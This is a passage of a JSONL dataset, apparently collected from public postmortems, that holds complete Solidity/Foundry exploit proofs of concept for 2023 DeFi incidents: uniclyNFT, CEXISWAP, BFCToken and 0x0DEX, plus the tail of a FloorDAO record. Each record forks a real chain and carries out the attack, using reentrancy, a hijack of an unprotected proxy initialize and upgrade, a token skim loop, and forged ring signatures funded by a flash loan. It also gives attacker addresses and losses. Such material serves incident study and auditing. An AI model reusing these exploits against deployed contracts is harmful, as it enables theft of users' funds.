floor.balanceOf(address(this));\n emit log_named_decimal_uint(\"floor token balance after exploit\", profitAmount, floor.decimals());\n floorUniPool.swap(\n address(this), false, int256(profitAmount), uint160(0xfFfd8963EFd1fC6A506488495d951d5263988d25), \"\"\n );\n emit log_named_decimal_uint(\"weth balance after swap\", WETH.balanceOf(address(this)), WETH.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x4453aed57c23a50d887a42ad0cd14ff1b819c750", "keyinfo_attack_contract": "https://etherscan.io/address/0x6ce5a85cff4c70591da82de5eb91c3fa38b40595", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$40", "content_richness_score": 5.78, "quality_estimate": "medium", "title": "FloorDAO Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 1 NFT (ID: 4689)\n// Attacker : https://etherscan.io/address/0x92cfcb70b2591ceb1e3c6d90e21e8154e7d29832\n// Attacker Contract : https://etherscan.io/address/0x9d9820f10772ffcef842770b6581c07a97fed9e4\n// Vulnerable Contract : https://etherscan.io/address/0xd3c41c85be295607e8ea5c58487ec5894300ee67\n// Attack Tx : https://etherscan.io/tx/0xc42fe1ce2516e125a386d198703b2422aa0190b25ef6a7b0a1d3c6f5d199ffad\n\n// @Analysis\n// https://twitter.com/DecurityHQ/status/1703096116047421863\n\ninterface IPointFarm {\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n function setApprovalForAll(address operator, bool _approved) external;\n\n function deposit(uint256 _pid, uint256 _amount) external;\n\n function withdraw(uint256 _pid, uint256 _amount) external;\n}\n\ninterface IPointShop {\n function redeem(address _uToken, uint256 internalID) external;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 private constant uJENNY = IERC20(0xa499648fD0e80FD911972BbEb069e4c20e68bF22);\n Uni_Pair_V2 private constant uJENNY_WETH = Uni_Pair_V2(0xEC5100AD159F660986E47AFa0CDa1081101b471d);\n IPointFarm private constant PointFarm = IPointFarm(0xd3C41c85bE295607E8EA5c58487eC5894300ee67);\n IPointShop private constant PointShop = IPointShop(0xcDCc535503CBA9286489b338b36156b4b75008f6);\n IERC721 private constant Realm = IERC721(0x7AFe30cB3E53dba6801aa0EA647A0EcEA7cBe18d);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_133_171);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(uJENNY), \"uJENNY\");\n vm.label(address(uJENNY_WETH), \"uJENNY_WETH\");\n vm.label(address(PointFarm), \"PointFarm\");\n vm.label(address(PointShop), \"PointShop\");\n vm.label(address(Realm), \"Realm\");\n }\n\n function testExploit() public {\n // Start with the below amount of WETH\n deal(address(WETH), address(this), 500e15);\n // Preparation phase\n uJENNY.approve(address(PointFarm), type(uint256).max);\n WETHToUJENNY();\n uint256 amtuJENNY = uJENNY.balanceOf(address(this));\n PointFarm.deposit(0, uJENNY.balanceOf(address(this)));\n // Wait ~2 days\n vm.roll(18_149_401);\n // Attack\n emit log_named_uint(\"Attacker Realm NFT balance before attack\", Realm.balanceOf(address(this)));\n // Reentrancy here. Inflate the attacker balance of PointFarm to redeem Realm NFT later from PointShop\n PointFarm.deposit(0, 0);\n // Getting initial deposit (preparation phase) back\n PointFarm.withdraw(0, amtuJENNY);\n UJENNYToWETH(amtuJENNY);\n\n // Getting NFT from PointShop\n PointFarm.setApprovalForAll(address(PointShop), true);\n PointShop.redeem(address(uJENNY), 0);\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n // 4689 - id of the stolen NFT\n assertEq(Realm.ownerOf(4689), address(this));\n emit log_named_uint(\"Attacker Realm NFT balance after attack\", Realm.balanceOf(address(this)));\n }\n\n function WETHToUJENNY() internal {\n (uint112 reserveuJENNY, uint112 reserveWETH,) = uJENNY_WETH.getReserves();\n uint256 amountOut = calcAmountOut(reserveuJENNY, reserveWETH, WETH.balanceOf(address(this)));\n WETH.transfer(address(uJENNY_WETH), WETH.balanceOf(address(this)));\n uJENNY_WETH.swap(amountOut, 0, address(this), bytes(\"\"));\n }\n\n function UJENNYToWETH(\n uint256 amount\n ) internal {\n (uint112 reserveuJENNY, uint112 reserveWETH,) = uJENNY_WETH.getReserves();\n uint256 amountOut = calcAmountOut(reserveWETH, reserveuJENNY, amount);\n uJENNY.transfer(address(uJENNY_WETH), amount);\n uJENNY_WETH.swap(0, amountOut, address(this), bytes(\"\"));\n }\n\n function calcAmountOut(uint256 reserve1, uint256 reserve2, uint256 tokenAmount) internal pure returns (uint256) {\n uint256 a = tokenAmount * 997;\n uint256 b = a * reserve1;\n uint256 c = reserve2 * 1000;\n return b / (a + c);\n }\n\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4) {\n uint256 pointFarmBalance = PointFarm.balanceOf(address(this), 0);\n if (pointFarmBalance <= 10_000) {\n PointFarm.deposit(0, 0);\n }\n return this.onERC1155Received.selector;\n }\n\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "uniclyNFT", "date": "2023-09", "file_name": "uniclyNFT_exp.sol", "attack_vector": "reentrancy", "content_hash": "88490b04eac27cae", "collected_at": "2026-01-07T10:59:16.531285", "_source": "postmortems", "chain": "ethereum", "block_number": 18133171, "total_lost_raw": "1 NFT (ID: 4689)", "total_lost_usd": 1.0, "attacker_address": "https://etherscan.io/address/0x92cfcb70b2591ceb1e3c6d90e21e8154e7d29832", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0xd3c41c85be295607e8ea5c58487ec5894300ee67", "attack_tx": "https://etherscan.io/tx/0xc42fe1ce2516e125a386d198703b2422aa0190b25ef6a7b0a1d3c6f5d199ffad", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "1 NFT (ID: 4689)", "category": "reentrancy", "exploit_code": "function testExploit() public {\n // Start with the below amount of WETH\n deal(address(WETH), address(this), 500e15);\n // Preparation phase\n uJENNY.approve(address(PointFarm), type(uint256).max);\n WETHToUJENNY();\n uint256 amtuJENNY = uJENNY.balanceOf(address(this));\n PointFarm.deposit(0, uJENNY.balanceOf(address(this)));\n // Wait ~2 days\n vm.roll(18_149_401);\n // Attack\n emit log_named_uint(\"Attacker Realm NFT balance before attack\", Realm.balanceOf(address(this)));\n // Reentrancy here. Inflate the attacker balance of PointFarm to redeem Realm NFT later from PointShop\n PointFarm.deposit(0, 0);\n // Getting initial deposit (preparation phase) back\n PointFarm.withdraw(0, amtuJENNY);\n UJENNYToWETH(amtuJENNY);\n\n // Getting NFT from PointShop\n PointFarm.setApprovalForAll(address(PointShop), true);\n PointShop.redeem(address(uJENNY), 0);\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n // 4689 - id of the stolen NFT\n assertEq(Realm.ownerOf(4689), address(this));\n emit log_named_uint(\"Attacker Realm NFT balance after attack\", Realm.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "1 NFT (ID: 4689)", "keyinfo_attacker": "https://etherscan.io/address/0x92cfcb70b2591ceb1e3c6d90e21e8154e7d29832", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xd3c41c85be295607e8ea5c58487ec5894300ee67", "keyinfo_attack_tx": "https://etherscan.io/tx/0xc42fe1ce2516e125a386d198703b2422aa0190b25ef6a7b0a1d3c6f5d199ffad", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1", "content_richness_score": 9.5, "quality_estimate": "high", "title": "uniclyNFT Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~30K USD$\n// Attacker : https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04\n// Attack Contract : https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1\n// Vulnerable Contract : https://etherscan.io/address/0xb8a5890d53df78dee6182a6c0968696e827e3305\n// Attack Tx : https://etherscan.io/tx/0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e\n\n// @Analysis\n// https://twitter.com/DecurityHQ/status/1704759560614126030\n\ninterface ICEXISWAP {\n function initialize(\n string memory name,\n string memory ticker,\n address _treasuryWallet,\n address _communityWallet,\n address _admin,\n address _strategy\n ) external;\n\n function upgradeToAndCall(address newImplementation, bytes memory data) external payable;\n}\n\ncontract CexiTest is Test {\n ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n Exploiter private exploiter;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_182_605);\n vm.label(address(CEXISWAP), \"CEXISWAP\");\n vm.label(address(USDT), \"USDT\");\n }\n\n function testExploit() public {\n exploiter = new Exploiter();\n exploiter.exploit();\n emit log_named_decimal_uint(\"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 6);\n }\n}\n\ncontract Exploiter {\n ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n address private immutable owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function exploit() external {\n CEXISWAP.initialize(\"HAX\", \"HAX\", address(this), address(this), address(this), address(this));\n CEXISWAP.upgradeToAndCall(address(this), abi.encodePacked(this.exploit2.selector));\n }\n\n // function 0x1de24bbf\n function exploit2() external {\n // delegatecall\n USDT.transfer(owner, USDT.balanceOf(address(this)));\n }\n\n function upgradeTo(\n address newImplementation\n ) external {\n bytes32 slot = IMPLEMENTATION_SLOT;\n assembly {\n sstore(slot, newImplementation)\n }\n }\n}\n", "type": "exploit_poc", "protocol": "CEXISWAP", "date": "2023-09", "file_name": "CEXISWAP_exp.sol", "attack_vector": null, "content_hash": "0c40609c0bd05403", "collected_at": "2026-01-07T10:59:16.531342", "_source": "postmortems", "chain": "ethereum", "block_number": 18182605, "total_lost_raw": "~30K USD$", "total_lost_usd": 30000.0, "attacker_address": "https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04", "attack_contract": "https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1", "vulnerable_contract": "https://etherscan.io/address/0xb8a5890d53df78dee6182a6c0968696e827e3305", "attack_tx": "https://etherscan.io/tx/0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~30K USD$", "category": "unknown", "exploit_code": "function testExploit() public {\n exploiter = new Exploiter();\n exploiter.exploit();\n emit log_named_decimal_uint(\"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 6);\n }\n}\n\ncontract Exploiter {\n ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n address private immutable owner;\n\n constructor() {\n owner = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~30K USD$", "keyinfo_attacker": "https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04", "keyinfo_attack_contract": "https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xb8a5890d53df78dee6182a6c0968696e827e3305", "keyinfo_attack_tx": "https://etherscan.io/tx/0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$30.0K", "content_richness_score": 7.3, "quality_estimate": "medium", "title": "CEXISWAP Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$38K\n// Attacker : https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891\n// Attacker Contract : https://bscscan.com/address/0x9180981034364f683ea25bcce0cff5e03a595bef\n// Vulnerable Contract : https://bscscan.com/address/0x595eac4a0ce9b7175a99094680fbe55a774b5464\n// Attack Tx : https://bscscan.com/tx/0x8ee76291c1b46d267431d2a528fa7f3ea7035629500bba4f87a69b88fcaf6e23\n\n// @Analysis\n// https://twitter.com/CertiKAlert/status/1700621314246017133\n\ncontract BFCTest is Test {\n Uni_Pair_V2 BUSDT_WBNB = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n Uni_Pair_V2 BUSDT_BFC = Uni_Pair_V2(0x71e1949A1180C0F945fe47C96f88b1a898760c05);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 BFC = IERC20(0x595eac4A0CE9b7175a99094680fbe55A774B5464);\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 31_599_443);\n vm.label(address(BUSDT_WBNB), \"BUSDT_WBNB\");\n vm.label(address(BUSDT_BFC), \"BUSDT_BFC\");\n vm.label(address(Router), \"Router\");\n vm.label(address(BFC), \"BFC\");\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(WBNB), \"WBNB\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n deal(address(this), 0);\n bytes memory swapData = abi.encode(address(BFC), address(BUSDT_BFC), 400_000 * 1e18);\n BUSDT_WBNB.swap(400_000 * 1e18, 0, address(this), swapData);\n swapBUSDTToBNB();\n\n emit log_named_decimal_uint(\"Attacker BNB balance after attack\", address(this).balance, 18);\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n BFC.approve(address(Router), type(uint256).max);\n BUSDT.approve(address(Router), type(uint256).max);\n\n swapBUSDTToBFC(BUSDT.balanceOf(address(BUSDT_BFC)));\n BFC.transfer(address(BFC), BFC.balanceOf(address(this)));\n swapBUSDTToBFC(BUSDT.balanceOf(address(this)));\n // Start exploit\n uint256 counter;\n while (counter < 100) {\n uint256 balanceBFC = BFC.balanceOf(address(this));\n uint256 pairBalanceBFC = BFC.balanceOf(address(BUSDT_BFC));\n\n if (balanceBFC >= (50 * pairBalanceBFC)) {\n balanceBFC = (pairBalanceBFC - 1) * 50;\n }\n\n BFC.transfer(address(BUSDT_BFC), balanceBFC);\n BUSDT_BFC.skim(address(this));\n BFC.transfer(address(BUSDT_BFC), 0);\n\n if (balanceBFC < (pairBalanceBFC * 50)) {\n ++counter;\n } else {\n break;\n }\n }\n // End exploit\n swapBFCToBUSDT();\n uint256 returnFlashAmount = (_amount0 * 1000) / 997 + 1;\n BUSDT.transfer(address(BUSDT_WBNB), returnFlashAmount);\n }\n\n receive() external payable {}\n\n function swapBUSDTToBFC(\n uint256 amountIn\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(BFC);\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function swapBFCToBUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(BFC);\n path[1] = address(BUSDT);\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n BFC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function swapBUSDTToBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(WBNB);\n\n Router.swapExactTokensForETH(BUSDT.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000);\n }\n}\n", "type": "exploit_poc", "protocol": "BFCToken", "date": "2023-09", "file_name": "BFCToken_exp.sol", "attack_vector": null, "content_hash": "d8fcf02c8898d946", "collected_at": "2026-01-07T10:59:16.531393", "_source": "postmortems", "chain": "bsc", "block_number": 31599443, "total_lost_raw": "~$38K", "total_lost_usd": 38000.0, "attacker_address": "https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x595eac4a0ce9b7175a99094680fbe55a774b5464", "attack_tx": "https://bscscan.com/tx/0x8ee76291c1b46d267431d2a528fa7f3ea7035629500bba4f87a69b88fcaf6e23", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$38K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n deal(address(this), 0);\n bytes memory swapData = abi.encode(address(BFC), address(BUSDT_BFC), 400_000 * 1e18);\n BUSDT_WBNB.swap(400_000 * 1e18, 0, address(this), swapData);\n swapBUSDTToBNB();\n\n emit log_named_decimal_uint(\"Attacker BNB balance after attack\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$38K", "keyinfo_attacker": "https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x595eac4a0ce9b7175a99094680fbe55a774b5464", "keyinfo_attack_tx": "https://bscscan.com/tx/0x8ee76291c1b46d267431d2a528fa7f3ea7035629500bba4f87a69b88fcaf6e23", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$38.0K", "content_richness_score": 8.06, "quality_estimate": "high", "title": "BFCToken Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$61K\n// Attacker : https://etherscan.io/address/0xcf28e9b8aa557616bc24cc9557ffa7fa2c013d53\n// Attacker Contract : https://etherscan.io/address/0xc44ea7650b27f83a6b310a8fed9e9daf2864a65b\n// Vulnerable Contract : https://etherscan.io/address/0x29d2bcf0d70f95ce16697e645e2b76d218d66109\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x00b375f8e90fc54c1345b33c686977ebec26877e2c8cac165429927a6c9bdbec\n\n// @Analysis\n// https://0x0ai.notion.site/0x0ai/0x0-Privacy-DEX-Exploit-25373263928b4f18b31c438b2a040e33\n\n// Most of the code here is taken from original exploit contract which has been verified on Etherscan:\n// https://etherscan.io/address/0xc44ea7650b27f83a6b310a8fed9e9daf2864a65b#code\n// Some changes were made to make the poc work\n\nlibrary Types {\n enum WithdrawalType {\n Direct,\n Swap\n }\n}\n\nstruct WithdrawalData {\n /// The amount to withdraw`\n uint256 amount;\n /// The index of the ring\n uint256 ringIndex;\n /// Signed message parameters\n uint256 c0;\n uint256[2] keyImage;\n uint256[] s;\n Types.WithdrawalType wType;\n}\n\ninterface IOxODexPool {\n function deposit(uint256 _amount, uint256[4] memory _publicKey) external payable;\n\n function withdraw(\n address payable recipient,\n WithdrawalData memory withdrawalData,\n uint256 relayerGasCharge\n ) external;\n\n function swapOnWithdrawal(\n address tokenOut,\n address payable recipient,\n uint256 relayerGasCharge,\n uint256 amountOut,\n uint256 deadline,\n WithdrawalData memory withdrawalData\n ) external;\n\n function getCurrentRingIndex(\n uint256 amountToken\n ) external view returns (uint256);\n\n function getRingHash(uint256 _amountToken, uint256 _ringIndex) external view returns (bytes32);\n}\n\ncontract ContractTest is Test {\n IOxODexPool private constant OxODexPool = IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616);\n WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n // begin sync with library Sig1.\n uint256 private constant Bx =\n 1_368_015_179_489_954_701_390_400_359_078_579_693_043_519_447_331_113_978_918_064_868_415_326_638_035;\n uint256 private constant By =\n 9_918_110_051_302_171_585_080_402_603_319_702_774_565_515_993_150_576_347_155_970_296_011_118_125_764;\n uint256 private constant Hx =\n 2_286_484_483_920_925_456_308_759_965_850_684_826_720_807_236_777_393_886_284_879_343_816_677_643_124;\n uint256 private constant Hy =\n 1_804_024_400_776_434_902_361_310_543_986_557_260_474_938_171_670_710_692_674_407_862_657_333_646_188;\n // https://github.com/kendricktan/heiswap-dapp/blob/master/contracts/AltBn128.sol#L13\n uint256 private constant curveN = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_115_707);\n vm.label(address(OxODexPool), \"OxODexPool\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(BalancerVault), \"BalancerVault\");\n vm.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n deal(address(this), 0 ether);\n uint256 loan = 11 ether;\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = loan;\n\n BalancerVault.flashLoan(address(this), tokens, amounts, \"\");\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, 18);\n }\n\n function receiveFlashLoan(\n address[] memory,\n uint256[] memory amounts,\n uint256[] memory fees,\n bytes memory\n ) external payable {\n // convert back to ETH\n WETH.withdraw(amounts[0]);\n exploit();\n\n USDC.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(USDC);\n path[1] = address(WETH);\n Router.swapExactTokensForETH(USDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);\n WETH.deposit{value: amounts[0] + fees[0]}();\n WETH.transfer(address(BalancerVault), amounts[0] + fees[0]);\n }\n\n function exploit() internal {\n // send ETH so pool balance is a multiple of 10\n uint256 poolETHBalance = address(OxODexPool).balance;\n poolETHBalance = 10 ether - (poolETHBalance - (poolETHBalance / 10 ether) * 10 ether);\n new ForceSend{value: poolETHBalance}();\n\n WithdrawalData memory w;\n // alter lastAmount (_lastWithdrawal) to 10\n uint256 ringIndex = deposit(10 ether);\n w = withdrawData(address(this), 10 ether, ringIndex);\n w.wType = Types.WithdrawalType.Swap;\n OxODexPool.swapOnWithdrawal(address(USDC), payable(address(this)), 0, 0, block.timestamp, w);\n\n while (address(OxODexPool).balance >= 10 ether) {\n ringIndex = deposit(0.1 ether);\n w = withdrawData(address(this), 0.1 ether, ringIndex);\n // Withdrawal type Direct (0)\n OxODexPool.swapOnWithdrawal(address(USDC), payable(address(this)), 0, 0, block.timestamp, w);\n }\n }\n\n function addFee(\n uint256 realAmount\n ) internal pure returns (uint256 total) {\n total = realAmount + (realAmount * 9) / 1000;\n }\n\n function deposit(\n uint256 amount\n ) internal returns (uint256 ringIndex) {\n // Public key signature\n uint256[4] memory pks = [0x1, 0x2, Bx, By];\n ringIndex = OxODexPool.getCurrentRingIndex(amount);\n OxODexPool.deposit{value: addFee(amount)}(amount, pks);\n }\n\n function withdrawData(\n address recv, // receiver\n uint256 amount,\n uint256 ringIndex\n ) internal view returns (WithdrawalData memory w) {\n bytes32 ringHash = OxODexPool.getRingHash(amount, ringIndex);\n uint256[2] memory c;\n uint256[2] memory s;\n (c, s) = generateSignature(ringHash, recv);\n\n w.amount = amount;\n w.ringIndex = ringIndex;\n w.c0 = c[0];\n w.keyImage = [Hx, Hy];\n w.s = new uint256[](2);\n w.s[0] = s[0];\n w.s[1] = s[1];\n //w.wType = Types.WithdrawalType.Direct;\n }\n\n // message := abi.encodePacked(ringHash, recAddr)\n function generateSignature(\n bytes32 ringHash,\n address recv\n ) public view returns (uint256[2] memory c, uint256[2] memory s) {\n uint256[2] memory G;\n uint256[2] memory H;\n uint256[2] memory B;\n G[0] = 0x1;\n G[1] = 0x2;\n H[0] = Hx;\n H[1] = Hy;\n B[0] = Bx;\n B[1] = By;\n\n // c_1 = H1(L, y~, m, G, H)\n c[1] = createHash(ringHash, recv, G, H);\n // pick s1 := 1\n s[1] = 1;\n c[0] = createHash(ringHash, recv, ecAdd(G, ecMul(B, c[1])), ecMul(H, c[1] + 1));\n // s0 := u - p_0 * c_0 (mod N)\n // this is NOT likely to overflow\n s[0] = curveN + 1 - c[0];\n }\n\n // Function for making a call to bn256Add (address 0x06) precompile\n // More about precompiles - https://medium.com/@rbkhmrcr/precompiles-solidity-e5d29bd428c4\n function ecAdd(uint256[2] memory p, uint256[2] memory q) internal view returns (uint256[2] memory r) {\n assembly {\n // Free memory pointer\n let fp := mload(0x40)\n mstore(fp, mload(p))\n mstore(add(fp, 0x20), mload(add(p, 0x20)))\n mstore(add(fp, 0x40), mload(q))\n mstore(add(fp, 0x60), mload(add(q, 0x20)))\n pop(staticcall(gas(), 0x06, fp, 0x80, r, 0x40))\n }\n }\n\n // Function for making a call to bn256ScalarMul (address 0x07) precompile\n function ecMul(uint256[2] memory p, uint256 k) internal view returns (uint256[2] memory kP) {\n assembly {\n let fp := mload(0x40)\n mstore(fp, mload(p))\n mstore(add(fp, 0x20), mload(add(p, 0x20)))\n mstore(add(fp, 0x40), k)\n pop(staticcall(gas(), 0x07, fp, 0x60, kP, 0x40))\n }\n }\n\n function createHash(\n bytes32 ringHash,\n address recv,\n uint256[2] memory p1,\n uint256[2] memory p2\n ) internal pure returns (uint256 hash) {\n // Hash(L, y~, m, p1, p2)\n assembly {\n let fp := mload(0x40)\n mstore(fp, 0x1)\n mstore(add(fp, 0x20), 0x2)\n mstore(add(fp, 0x40), Bx)\n mstore(add(fp, 0x60), By)\n mstore(add(fp, 0x80), Hx)\n mstore(add(fp, 0xa0), Hy)\n\n mstore(add(fp, 0xd4), recv)\n mstore(add(fp, 0xc0), ringHash)\n\n // tail at 0xf4 (0xe0 + 20)\n mstore(add(fp, 0xf4), mload(p1))\n mstore(add(fp, 0x114), mload(add(p1, 0x20)))\n mstore(add(fp, 0x134), mload(p2))\n mstore(add(fp, 0x154), mload(add(p2, 0x20)))\n\n hash := mod(keccak256(fp, 0x174), curveN)\n }\n }\n\n receive() external payable {}\n}\n\ncontract ForceSend {\n IOxODexPool private constant OxODexPool = IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616);\n\n constructor() payable {\n selfdestruct(payable(address(OxODexPool)));\n }\n}\n", "type": "exploit_poc", "protocol": "0x0DEX", "date": "2023-09", "file_name": "0x0DEX_exp.sol", "attack_vector": "flash_loan", "content_hash": "575c03a8df0ad9eb", "collected_at": "2026-01-07T10:59:16.531448", "_source": "postmortems", "chain": "ethereum", "block_number": 18115707, "total_lost_raw": "~$61K", "total_lost_usd": 61000.0, "attacker_address": "https://etherscan.io/address/0xcf28e9b8aa557616bc24cc9557ffa7fa2c013d53", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x29d2bcf0d70f95ce16697e645e2b76d218d66109", "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0x00b375f8e90fc54c1345b33c686977ebec26877e2c8cac165429927a6c9bdbec", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$61K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(this), 0 ether);\n uint256 loan = 11 ether;\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = loan;\n\n BalancerVault.flashLoan(address(this), tokens, amounts, \"\");\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$61K", "keyinfo_attacker": "https://etherscan.io/address/0xcf28e9b8aa557616bc24cc9557ffa7fa2c013d53", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x29d2bcf0d70f95ce16697e645e2b76d218d66109", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0x00b375f8e90fc54c1345b33c686977ebec26877e2c8cac165429927a6c9bdbec", "analysis_postmortem": "", "analysis_twitter": 